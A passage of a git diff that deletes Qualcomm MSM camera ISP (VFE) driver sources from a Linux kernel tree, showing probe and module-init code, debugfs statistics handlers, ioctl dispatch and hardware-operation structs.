msm_sd_req_vb2_q *vb2_ops; - - /*IOMMU specific*/ - int iommu_domain_num; - struct iommu_domain *iommu_domain; - - int num_iommu_ctx; - struct device *iommu_ctx[2]; - struct list_head buffer_q; -}; - -int msm_isp_create_isp_buf_mgr(struct msm_isp_buf_mgr *buf_mgr, - struct msm_sd_req_vb2_q *vb2_ops, struct msm_iova_layout *iova_layout); - -int msm_isp_proc_buf_cmd(struct msm_isp_buf_mgr *buf_mgr, - unsigned int cmd, void *arg); - -#endif /* _MSM_ISP_BUF_H_ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c deleted file mode 100644 index 9bdda2c326060..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c +++ /dev/null @@ -1,313 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "msm_isp.h" -#include "msm_isp_util.h" -#include "msm_isp_axi_util.h" -#include "msm_isp_stats_util.h" -#include "msm_sd.h" -#include "msm_isp44.h" -#include "msm_isp40.h" -#include "msm_isp32.h" - -static struct msm_sd_req_vb2_q vfe_vb2_ops; - -static const struct of_device_id msm_vfe_dt_match[] = { - { - .compatible = "qcom,vfe44", - .data = &vfe44_hw_info, - }, - { - .compatible = "qcom,vfe40", - .data = &vfe40_hw_info, - }, - { - .compatible = "qcom,vfe32", - .data = &vfe32_hw_info, - }, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_vfe_dt_match); - -static const struct platform_device_id msm_vfe_dev_id[] = { - {"msm_vfe32", (kernel_ulong_t) &vfe32_hw_info}, - {} -}; - -#define MAX_OVERFLOW_COUNTERS 15 -#define OVERFLOW_LENGTH 512 -#define OVERFLOW_BUFFER_LENGTH 32 -static struct msm_isp_buf_mgr vfe_buf_mgr; -static int msm_isp_enable_debugfs(struct msm_isp_statistics *stats); -static char *stats_str[MAX_OVERFLOW_COUNTERS] = { - "imgmaster0_overflow_cnt", - "imgmaster1_overflow_cnt", - "imgmaster2_overflow_cnt", - "imgmaster3_overflow_cnt", - "imgmaster4_overflow_cnt", - "imgmaster5_overflow_cnt", - "imgmaster6_overflow_cnt", - "be_overflow_cnt", - "bg_overflow_cnt", - "bf_overflow_cnt", - "awb_overflow_cnt", - "rs_overflow_cnt", - "cs_overflow_cnt", - "ihist_overflow_cnt", - "skinbhist_overflow_cnt", -}; - -static int vfe_debugfs_statistics_open(struct inode *inode, struct file *file) -{ - file->private_data = inode->i_private; - return 0; -} - -static ssize_t vfe_debugfs_statistics_read(struct file *t_file, char *t_char, - size_t t_size_t, loff_t *t_loff_t) -{ - int i; - char name[OVERFLOW_LENGTH] = {0}; - int *ptr; - char buffer[OVERFLOW_BUFFER_LENGTH] = {0}; - struct msm_isp_statistics *stats = (struct msm_isp_statistics *) - t_file->private_data; - ptr = (int *)stats; - - for (i = 0; i < MAX_OVERFLOW_COUNTERS; i++) { - strlcat(name, stats_str[i], sizeof(name)); - strlcat(name, " ", sizeof(name)); - snprintf(buffer, sizeof(buffer), "%d", ptr[i]); - strlcat(name, buffer, sizeof(name)); - strlcat(name, "\r\n", sizeof(name)); - } - return simple_read_from_buffer(t_char, t_size_t, - t_loff_t, name, strlen(name)); -} - -static ssize_t vfe_debugfs_statistics_write(struct file *t_file, - const char *t_char, size_t t_size_t, loff_t *t_loff_t) -{ - struct msm_isp_statistics *stats = (struct msm_isp_statistics *) - t_file->private_data; - memset(stats, 0, sizeof(struct msm_isp_statistics)); - - return sizeof(struct msm_isp_statistics); -} - -static const struct file_operations vfe_debugfs_error = { - .open = vfe_debugfs_statistics_open, - .read = vfe_debugfs_statistics_read, - .write = vfe_debugfs_statistics_write, -}; - -static int msm_isp_enable_debugfs(struct msm_isp_statistics *stats) -{ - struct dentry *debugfs_base; - debugfs_base = debugfs_create_dir("msm_isp", NULL); - if (!debugfs_base) - return -ENOMEM; - if (!debugfs_create_file("stats", S_IRUGO | S_IWUSR, debugfs_base, - stats, &vfe_debugfs_error)) - return -ENOMEM; - return 0; -} -static long msm_isp_subdev_do_ioctl( - struct file *file, unsigned int cmd, void *arg) -{ - struct video_device *vdev = video_devdata(file); - struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); - struct v4l2_fh *vfh = file->private_data; - - switch (cmd) { - case VIDIOC_DQEVENT: - if (!(sd->flags & V4L2_SUBDEV_FL_HAS_EVENTS)) - return -ENOIOCTLCMD; - - return v4l2_event_dequeue(vfh, arg, file->f_flags & O_NONBLOCK); - case VIDIOC_SUBSCRIBE_EVENT: - return v4l2_subdev_call(sd, core, subscribe_event, vfh, arg); - - case VIDIOC_UNSUBSCRIBE_EVENT: - return v4l2_subdev_call(sd, core, unsubscribe_event, vfh, arg); - - default: - return v4l2_subdev_call(sd, core, ioctl, cmd, arg); - } -} - -static long msm_isp_subdev_fops_ioctl(struct file *file, unsigned int cmd, - unsigned long arg) -{ - return video_usercopy(file, cmd, arg, msm_isp_subdev_do_ioctl); -} - -static struct v4l2_file_operations msm_isp_v4l2_subdev_fops = { -#ifdef CONFIG_COMPAT - .compat_ioctl = msm_isp_subdev_fops_ioctl, -#endif - .unlocked_ioctl = msm_isp_subdev_fops_ioctl -}; - -static int vfe_probe(struct platform_device *pdev) -{ - struct vfe_device *vfe_dev; - /*struct msm_cam_subdev_info sd_info;*/ - const struct of_device_id *match_dev; - int rc = 0; - - struct msm_iova_partition vfe_partition = { - .start = SZ_128K, - .size = SZ_2G - SZ_128K, - }; - struct msm_iova_layout vfe_layout = { - .partitions = &vfe_partition, - .npartitions = 1, - .client_name = "vfe", - .domain_flags = 0, - }; - - vfe_dev = kzalloc(sizeof(struct vfe_device), GFP_KERNEL); - if (!vfe_dev) { - pr_err("%s: no enough memory\n", __func__); - return -ENOMEM; - } - vfe_dev->stats = kzalloc(sizeof(struct msm_isp_statistics), GFP_KERNEL); - if (!vfe_dev->stats) { - pr_err("%s: no enough memory\n", __func__); - return -ENOMEM; - } - if (pdev->dev.of_node) { - of_property_read_u32((&pdev->dev)->of_node, - "cell-index", &pdev->id); - match_dev = of_match_device(msm_vfe_dt_match, &pdev->dev); - if (!match_dev) { - pr_err("%s: No vfe hardware info\n", __func__); - return -EINVAL; - } - vfe_dev->hw_info = - (struct msm_vfe_hardware_info *) match_dev->data; - } else { - vfe_dev->hw_info = (struct msm_vfe_hardware_info *) - platform_get_device_id(pdev)->driver_data; - } - - if (!vfe_dev->hw_info) { - pr_err("%s: No vfe hardware info\n", __func__); - return -EINVAL; - } - ISP_DBG("%s: device id = %d\n", __func__, pdev->id); - - vfe_dev->pdev = pdev; - rc = vfe_dev->hw_info->vfe_ops.core_ops.get_platform_data(vfe_dev); - if (rc < 0) { - pr_err("%s: failed to get platform resources\n", __func__); - kfree(vfe_dev); - return -ENOMEM; - } - - INIT_LIST_HEAD(&vfe_dev->tasklet_q); - INIT_LIST_HEAD(&vfe_dev->tasklet_regupdate_q); - tasklet_init(&vfe_dev->vfe_tasklet, - msm_isp_do_tasklet, (unsigned long)vfe_dev); - - v4l2_subdev_init(&vfe_dev->subdev.sd, vfe_dev->hw_info->subdev_ops); - vfe_dev->subdev.sd.internal_ops = - vfe_dev->hw_info->subdev_internal_ops; - snprintf(vfe_dev->subdev.sd.name, - ARRAY_SIZE(vfe_dev->subdev.sd.name), - "vfe"); - vfe_dev->subdev.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - vfe_dev->subdev.sd.flags |= V4L2_SUBDEV_FL_HAS_EVENTS; - v4l2_set_subdevdata(&vfe_dev->subdev.sd, vfe_dev); - platform_set_drvdata(pdev, &vfe_dev->subdev.sd); - mutex_init(&vfe_dev->realtime_mutex); - mutex_init(&vfe_dev->core_mutex); - spin_lock_init(&vfe_dev->tasklet_lock); - spin_lock_init(&vfe_dev->shared_data_lock); - spin_lock_init(&vfe_dev->sof_lock); - media_entity_init(&vfe_dev->subdev.sd.entity, 0, NULL, 0); - vfe_dev->subdev.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - vfe_dev->subdev.sd.entity.group_id = MSM_CAMERA_SUBDEV_VFE; - vfe_dev->subdev.sd.entity.name = pdev->name; - vfe_dev->subdev.close_seq = MSM_SD_CLOSE_1ST_CATEGORY | 0x2; - rc = msm_sd_register(&vfe_dev->subdev); - if (rc != 0) { - pr_err("%s: msm_sd_register error = %d\n", __func__, rc); - kfree(vfe_dev); - goto end; - } - - msm_isp_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; - msm_isp_v4l2_subdev_fops.open = v4l2_subdev_fops.open; - msm_isp_v4l2_subdev_fops.release = v4l2_subdev_fops.release; - msm_isp_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; - - vfe_dev->subdev.sd.devnode->fops = &msm_isp_v4l2_subdev_fops; - - vfe_dev->buf_mgr = &vfe_buf_mgr; - v4l2_subdev_notify(&vfe_dev->subdev.sd, - MSM_SD_NOTIFY_REQ_CB, &vfe_vb2_ops); - rc = msm_isp_create_isp_buf_mgr(vfe_dev->buf_mgr, - &vfe_vb2_ops, &vfe_layout); - if (rc < 0) { - pr_err("%s: Unable to create buffer manager\n", __func__); - kfree(vfe_dev); - return -EINVAL; - } - msm_isp_enable_debugfs(vfe_dev->stats); - vfe_dev->buf_mgr->ops->register_ctx(vfe_dev->buf_mgr, - &vfe_dev->iommu_ctx[0], vfe_dev->hw_info->num_iommu_ctx); - vfe_dev->vfe_open_cnt = 0; -end: - return rc; -} - -static struct platform_driver vfe_driver = { - .probe = vfe_probe, - .driver = { - .name = "msm_vfe", - .owner = THIS_MODULE, - .of_match_table = msm_vfe_dt_match, - }, - .id_table = msm_vfe_dev_id, -}; - -static int __init msm_vfe_init_module(void) -{ - return platform_driver_register(&vfe_driver); -} - -static void __exit msm_vfe_exit_module(void) -{ - platform_driver_unregister(&vfe_driver); -} - -module_init(msm_vfe_init_module); -module_exit(msm_vfe_exit_module); -MODULE_DESCRIPTION("MSM VFE driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h deleted file mode 100644 index 2c8ac219fc0bd..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h +++ /dev/null @@ -1,534 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_VFE_H__ -#define __MSM_VFE_H__ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_buf_mgr.h" - -#define VFE40_8974V1_VERSION 0x10000018 -#define VFE40_8974V2_VERSION 0x1001001A -#define VFE40_8974V3_VERSION 0x1001001B -#define VFE40_8x26_VERSION 0x20000013 -#define VFE40_8x26V2_VERSION 0x20010014 -#define VFE40_8916_VERSION 0x10030000 -#define VFE40_8939_VERSION 0x10040000 - -#define MAX_IOMMU_CTX 2 -#define MAX_NUM_WM 7 -#define MAX_NUM_RDI 3 -#define MAX_NUM_RDI_MASTER 3 -#define MAX_NUM_COMPOSITE_MASK 4 -#define MAX_NUM_STATS_COMP_MASK 2 -#define MAX_INIT_FRAME_DROP 31 -#define ISP_Q2 (1 << 2) - -#define VFE_PING_FLAG 0xFFFFFFFF -#define VFE_PONG_FLAG 0x0 - -#define VFE_MAX_CFG_TIMEOUT 3000 -#define VFE_CLK_INFO_MAX 16 -#define STATS_COMP_BIT_MASK 0xFF0000 - -struct vfe_device; -struct msm_vfe_axi_stream; -struct msm_vfe_stats_stream; - -struct vfe_subscribe_info { - struct v4l2_fh *vfh; - uint32_t active; -}; - -enum msm_isp_pack_fmt { - QCOM, - MIPI, - DPCM6, - DPCM8, - PLAIN8, - PLAIN16, - MAX_ISP_PACK_FMT, -}; - -enum msm_isp_camif_update_state { - NO_UPDATE, - ENABLE_CAMIF, - DISABLE_CAMIF, - DISABLE_CAMIF_IMMEDIATELY -}; - -enum msm_isp_reset_type { - ISP_RST_HARD, - ISP_RST_SOFT, - ISP_RST_MAX -}; - -struct msm_isp_timestamp { - /*Monotonic clock for v4l2 buffer*/ - struct timeval buf_time; - /*Monotonic clock for VT */ - struct timeval vt_time; - /*Wall clock for userspace event*/ - struct timeval event_time; -}; - -struct msm_vfe_irq_ops { - void (*read_irq_status) (struct vfe_device *vfe_dev, - uint32_t *irq_status0, uint32_t *irq_status1); - void (*process_reg_update) (struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); - void (*process_reset_irq) (struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1); - void (*process_halt_irq) (struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1); - void (*process_camif_irq) (struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); - void (*process_axi_irq) (struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); - void (*process_stats_irq) (struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); -}; - -struct msm_vfe_axi_ops { - void (*reload_wm) (struct vfe_device *vfe_dev, - uint32_t reload_mask); - void (*enable_wm) (struct vfe_device *vfe_dev, - uint8_t wm_idx, uint8_t enable); - int32_t (*cfg_io_format) (struct vfe_device *vfe_dev, - enum msm_vfe_axi_stream_src stream_src, - uint32_t io_format); - void (*cfg_framedrop) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - void (*clear_framedrop) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - void (*cfg_comp_mask) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - void (*clear_comp_mask) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - void (*cfg_wm_irq_mask) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - void (*clear_wm_irq_mask) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - - void (*cfg_wm_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx); - void (*clear_wm_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx); - - void (*cfg_wm_xbar_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx); - void (*clear_wm_xbar_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx); - - void (*cfg_ub) (struct vfe_device *vfe_dev); - - void (*update_ping_pong_addr) (struct vfe_device *vfe_dev, - uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr); - - uint32_t (*get_wm_mask) (uint32_t irq_status0, uint32_t irq_status1); - uint32_t (*get_comp_mask) (uint32_t irq_status0, uint32_t irq_status1); - uint32_t (*get_pingpong_status) (struct vfe_device *vfe_dev); - long (*halt) (struct vfe_device *vfe_dev, uint32_t blocking); -}; - -struct msm_vfe_core_ops { - void (*reg_update) (struct vfe_device *vfe_dev); - long (*reset_hw) (struct vfe_device *vfe_dev, - enum msm_isp_reset_type reset_type, - uint32_t blocking); - int (*init_hw) (struct vfe_device *vfe_dev); - void (*init_hw_reg) (struct vfe_device *vfe_dev); - void (*release_hw) (struct vfe_device *vfe_dev); - void (*cfg_camif) (struct vfe_device *vfe_dev, - struct msm_vfe_pix_cfg *pix_cfg); - void (*update_camif_state) (struct vfe_device *vfe_dev, - enum msm_isp_camif_update_state update_state); - void (*cfg_rdi_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_rdi_cfg *rdi_cfg, - enum msm_vfe_input_src input_src); - int (*get_platform_data) (struct vfe_device *vfe_dev); - void (*get_error_mask) (uint32_t *error_mask0, uint32_t *error_mask1); - void (*process_error_status) (struct vfe_device *vfe_dev); - void (*get_overflow_mask) (uint32_t *overflow_mask); - void (*get_irq_mask) (struct vfe_device *vfe_dev, - uint32_t *irq0_mask, uint32_t *irq1_mask); - void (*restore_irq_mask) (struct vfe_device *vfe_dev); - void (*get_halt_restart_mask) (uint32_t *irq0_mask, - uint32_t *irq1_mask); - void (*init_vbif_counters) (struct vfe_device *vfe_dev); - void (*vbif_clear_counters) (struct vfe_device *vfe_dev); - void (*vbif_read_counters) (struct vfe_device *vfe_dev); - int (*get_regupdate_status) (uint32_t irq_status0, - uint32_t irq1_mask); -}; -struct msm_vfe_stats_ops { - int (*get_stats_idx) (enum msm_isp_stats_type stats_type); - int (*check_streams) (struct msm_vfe_stats_stream *stream_info); - void (*cfg_framedrop) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info); - void (*clear_framedrop) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info); - void (*cfg_comp_mask) (struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable); - void (*cfg_wm_irq_mask) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info); - void (*clear_wm_irq_mask) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info); - - void (*cfg_wm_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info); - void (*clear_wm_reg) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info); - - void (*cfg_ub) (struct vfe_device *vfe_dev); - - void (*enable_module) (struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable); - - void (*update_ping_pong_addr) (struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info, - uint32_t pingpong_status, dma_addr_t paddr); - - uint32_t (*get_frame_id) (struct vfe_device *vfe_dev); - uint32_t (*get_wm_mask) (uint32_t irq_status0, uint32_t irq_status1); - uint32_t (*get_comp_mask) (uint32_t irq_status0, uint32_t irq_status1); - uint32_t (*get_pingpong_status) (struct vfe_device *vfe_dev); -}; - -struct msm_vfe_ops { - struct msm_vfe_irq_ops irq_ops; - struct msm_vfe_axi_ops axi_ops; - struct msm_vfe_core_ops core_ops; - struct msm_vfe_stats_ops stats_ops; -}; - -struct msm_vfe_hardware_info { - int num_iommu_ctx; - int vfe_clk_idx; - struct msm_vfe_ops vfe_ops; - struct msm_vfe_axi_hardware_info *axi_hw_info; - struct msm_vfe_stats_hardware_info *stats_hw_info; - struct v4l2_subdev_internal_ops *subdev_internal_ops; - struct v4l2_subdev_ops *subdev_ops; - uint32_t dmi_reg_offset; -}; - -struct msm_vfe_axi_hardware_info { - uint8_t num_wm; - uint8_t num_rdi; - uint8_t num_rdi_master; - uint8_t num_comp_mask; - uint32_t min_wm_ub; -}; - -enum msm_vfe_axi_state { - AVALIABLE, - INACTIVE, - ACTIVE, - PAUSED, - START_PENDING, - STOP_PENDING, - PAUSE_PENDING, - RESUME_PENDING, - STARTING, - STOPPING, - PAUSING, - RESUMING, -}; - -enum msm_vfe_axi_cfg_update_state { - NO_AXI_CFG_UPDATE, - APPLYING_UPDATE_RESUME, - UPDATE_REQUESTED, -}; - -#define VFE_NO_DROP 0xFFFFFFFF -#define VFE_DROP_EVERY_2FRAME 0x55555555 -#define VFE_DROP_EVERY_4FRAME 0x11111111 -#define VFE_DROP_EVERY_8FRAME 0x01010101 -#define VFE_DROP_EVERY_16FRAME 0x00010001 -#define VFE_DROP_EVERY_32FRAME 0x00000001 - -enum msm_vfe_axi_stream_type { - CONTINUOUS_STREAM, - BURST_STREAM, -}; - -struct msm_vfe_axi_stream { - uint32_t frame_id; - enum msm_vfe_axi_state state; - enum msm_vfe_axi_stream_src stream_src; - uint8_t num_planes; - uint8_t wm[MAX_PLANES_PER_STREAM]; - uint32_t output_format;/*Planar/RAW/Misc*/ - struct msm_vfe_axi_plane_cfg plane_cfg[MAX_PLANES_PER_STREAM]; - uint8_t comp_mask_index; - struct msm_isp_buffer *buf[2]; - uint32_t session_id; - uint32_t stream_id; - uint32_t bufq_handle; - uint32_t bufq_scratch_handle; - uint32_t stream_handle; - uint32_t request_frm_num; - uint8_t buf_divert; - enum msm_vfe_axi_stream_type stream_type; - uint32_t vt_enable; - uint32_t frame_based; - uint32_t framedrop_period; - uint32_t framedrop_pattern; - uint32_t num_burst_capture;/*number of frame to capture*/ - uint32_t init_frame_drop; - uint32_t burst_frame_count;/*number of sof before burst stop*/ - uint8_t framedrop_update; - spinlock_t lock; - - /*Bandwidth calculation info*/ - uint32_t max_width; - /*Based on format plane size in Q2. e.g NV12 = 1.5*/ - uint32_t format_factor; - uint32_t bandwidth; - - /*Run time update variables*/ - uint32_t runtime_init_frame_drop; - uint32_t runtime_burst_frame_count;/*number of sof before burst stop*/ - uint32_t runtime_num_burst_capture; - uint8_t runtime_framedrop_update; - uint32_t runtime_output_format; - enum msm_vfe_frame_skip_pattern frame_skip_pattern; - -}; - -enum msm_vfe_overflow_state { - NO_OVERFLOW, - OVERFLOW_DETECTED, - HALT_REQUESTED, - RESTART_REQUESTED, -}; - -struct msm_vfe_axi_composite_info { - uint32_t stream_handle; - uint32_t stream_composite_mask; -}; - -struct msm_vfe_src_info { - uint32_t frame_id; - uint8_t active; - uint8_t pix_stream_count; - uint8_t raw_stream_count; - enum msm_vfe_inputmux input_mux; - uint32_t width; - long pixel_clock; - uint32_t session_id; - uint32_t input_format;/*V4L2 pix format with bayer pattern*/ - uint32_t last_updt_frm_id; -}; - -enum msm_wm_ub_cfg_type { - MSM_WM_UB_CFG_DEFAULT, - MSM_WM_UB_EQUAL_SLICING, - MSM_WM_UB_CFG_MAX_NUM -}; -#define MAX_SESSIONS 5 -struct msm_vfe_axi_shared_data { - struct msm_vfe_axi_hardware_info *hw_info; - struct msm_vfe_axi_stream stream_info[MAX_NUM_STREAM]; - uint32_t free_wm[MAX_NUM_WM]; - uint32_t wm_image_size[MAX_NUM_WM]; - enum msm_wm_ub_cfg_type wm_ub_cfg_policy; - uint8_t num_used_wm; - uint8_t num_active_stream; - struct msm_vfe_axi_composite_info - composite_info[MAX_NUM_COMPOSITE_MASK]; - uint8_t num_used_composite_mask; - uint32_t stream_update; - atomic_t axi_cfg_update; - enum msm_isp_camif_update_state pipeline_update; - struct msm_vfe_src_info src_info[VFE_SRC_MAX]; - uint16_t stream_handle_cnt; - uint16_t current_frame_src_mask[MAX_SESSIONS]; - uint16_t session_frame_src_mask[MAX_SESSIONS]; - unsigned int frame_id[MAX_SESSIONS]; - uint32_t event_mask; - uint32_t burst_len; -}; - -struct msm_vfe_stats_hardware_info { - uint32_t stats_capability_mask; - uint8_t *stats_ping_pong_offset; - uint8_t num_stats_type; - uint8_t num_stats_comp_mask; -}; - -enum msm_vfe_stats_state { - STATS_AVALIABLE, - STATS_INACTIVE, - STATS_ACTIVE, - STATS_START_PENDING, - STATS_STOP_PENDING, - STATS_STARTING, - STATS_STOPPING, -}; - -struct msm_vfe_stats_stream { - uint32_t session_id; - uint32_t stream_id; - uint32_t stream_handle; - uint32_t composite_flag; - enum msm_isp_stats_type stats_type; - enum msm_vfe_stats_state state; - uint32_t framedrop_pattern; - uint32_t framedrop_period; - uint32_t irq_subsample_pattern; - - uint32_t buffer_offset; - struct msm_isp_buffer *buf[2]; - uint32_t bufq_handle; -}; - -struct msm_vfe_stats_shared_data { - struct msm_vfe_stats_stream stream_info[MSM_ISP_STATS_MAX]; - uint8_t num_active_stream; - atomic_t stats_comp_mask[MAX_NUM_STATS_COMP_MASK]; - uint16_t stream_handle_cnt; - atomic_t stats_update; - uint32_t stats_mask; - uint32_t stats_burst_len; -}; - -struct msm_vfe_tasklet_queue_cmd { - struct list_head list; - uint32_t vfeInterruptStatus0; - uint32_t vfeInterruptStatus1; - struct msm_isp_timestamp ts; - uint8_t cmd_used; -}; - -#define MSM_VFE_TASKLETQ_SIZE 200 - -struct msm_vfe_error_info { - atomic_t overflow_state; - uint32_t overflow_recover_irq_mask0; - uint32_t overflow_recover_irq_mask1; - uint32_t error_mask0; - uint32_t error_mask1; - uint32_t violation_status; - uint32_t camif_status; - uint32_t stream_framedrop_count[MAX_NUM_STREAM]; - uint32_t stats_framedrop_count[MSM_ISP_STATS_MAX]; - uint32_t info_dump_frame_count; - uint32_t error_count; -}; - -struct msm_isp_statistics { - int32_t imagemaster0_overflow; - int32_t imagemaster1_overflow; - int32_t imagemaster2_overflow; - int32_t imagemaster3_overflow; - int32_t imagemaster4_overflow; - int32_t imagemaster5_overflow; - int32_t imagemaster6_overflow; - int32_t be_overflow; - int32_t bg_overflow; - int32_t bf_overflow; - int32_t awb_overflow; - int32_t rs_overflow; - int32_t cs_overflow; - int32_t ihist_overflow; - int32_t skinbhist_overflow; -}; - -struct msm_vbif_cntrs { - int previous_write_val; - int vfe_total_iter; - int fb_err_lvl; - int total_vbif_cnt_2; -}; - -struct msm_vfe_hw_init_parms { - const char *entries; - const char *regs; - const char *settings; -}; - -struct vfe_device { - struct platform_device *pdev; - struct msm_sd_subdev subdev; - struct resource *vfe_irq; - struct resource *vfe_mem; - struct resource *vfe_vbif_mem; - struct resource *vfe_io; - struct resource *vfe_vbif_io; - void __iomem *vfe_base; - void __iomem *vfe_vbif_base; - - struct device *iommu_ctx[MAX_IOMMU_CTX]; - - struct regulator *fs_vfe; - struct clk **vfe_clk; - uint32_t num_clk; - - uint32_t bus_perf_client; - - struct completion reset_complete; - struct completion halt_complete; - struct completion stream_config_complete; - struct completion stats_config_complete; - struct mutex realtime_mutex; - struct mutex core_mutex; - - atomic_t irq_cnt; - atomic_t reg_update_cnt; - uint8_t taskletq_idx; - uint8_t taskletq_reg_update_idx; - spinlock_t tasklet_lock; - spinlock_t shared_data_lock; - spinlock_t sof_lock; - struct list_head tasklet_q; - struct list_head tasklet_regupdate_q; - struct tasklet_struct vfe_tasklet; - struct msm_vfe_tasklet_queue_cmd - tasklet_queue_cmd[MSM_VFE_TASKLETQ_SIZE]; - struct msm_vfe_tasklet_queue_cmd - tasklet_regupdate_queue_cmd[MSM_VFE_TASKLETQ_SIZE]; - uint32_t vfe_hw_version; - struct msm_vfe_hardware_info *hw_info; - struct msm_vfe_axi_shared_data axi_data; - struct msm_vfe_stats_shared_data stats_data; - struct msm_vfe_error_info error_info; - struct msm_isp_buf_mgr *buf_mgr; - int dump_reg; - int vfe_clk_idx; - uint32_t vfe_open_cnt; - uint8_t vt_enable; - uint8_t ignore_error; - struct msm_isp_statistics *stats; - struct msm_vbif_cntrs vbif_cntrs; - uint32_t vfe_ub_size; -}; - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c deleted file mode 100644 index 42440df303eec..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c +++ /dev/null @@ -1,1329 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include - -#include "msm_isp32.h" -#include "msm_isp_util.h" -#include "msm_isp_axi_util.h" -#include "msm_isp_stats_util.h" -#include "msm_isp.h" -#include "msm.h" -#include "msm_camera_io_util.h" - -#define VFE32_BURST_LEN 2 -#define VFE32_UB_SIZE 1024 -#define VFE32_EQUAL_SLICE_UB 194 -#define VFE32_AXI_SLICE_UB 792 -#define VFE32_WM_BASE(idx) (0x4C + 0x18 * idx) -#define VFE32_RDI_BASE(idx) (idx ? 0x734 + 0x4 * (idx - 1) : 0x06FC) -#define VFE32_XBAR_BASE(idx) (0x40 + 0x4 * (idx / 4)) -#define VFE32_XBAR_SHIFT(idx) ((idx % 4) * 8) -#define VFE32_PING_PONG_BASE(wm, ping_pong) \ - (VFE32_WM_BASE(wm) + 0x4 * (1 + (~(ping_pong >> wm) & 0x1))) - -static uint8_t stats_pingpong_offset_map[] = { - 7, 8, 9, 10, 11, 12, 13}; - -#define VFE32_NUM_STATS_TYPE 7 -#define VFE32_STATS_BASE(idx) (0xF4 + 0xC * idx) -#define VFE32_STATS_PING_PONG_BASE(idx, ping_pong) \ - (VFE32_STATS_BASE(idx) + 0x4 * \ - (~(ping_pong >> (stats_pingpong_offset_map[idx])) & 0x1)) - -#define VFE32_CLK_IDX 0 -#define MSM_ISP32_TOTAL_WM_UB 792 -/*792 double word*/ - -static struct msm_cam_clk_info msm_vfe32_1_clk_info[] = { - /*vfe32 clock info for B-family: 8610 */ - {"vfe_clk_src", 266670000}, - {"vfe_clk", -1}, - {"vfe_ahb_clk", -1}, - {"csi_vfe_clk", -1}, - {"bus_clk", -1}, -}; - -static struct msm_cam_clk_info msm_vfe32_2_clk_info[] = { - /*vfe32 clock info for A-family: 8960 */ - {"vfe_clk", 266667000}, - 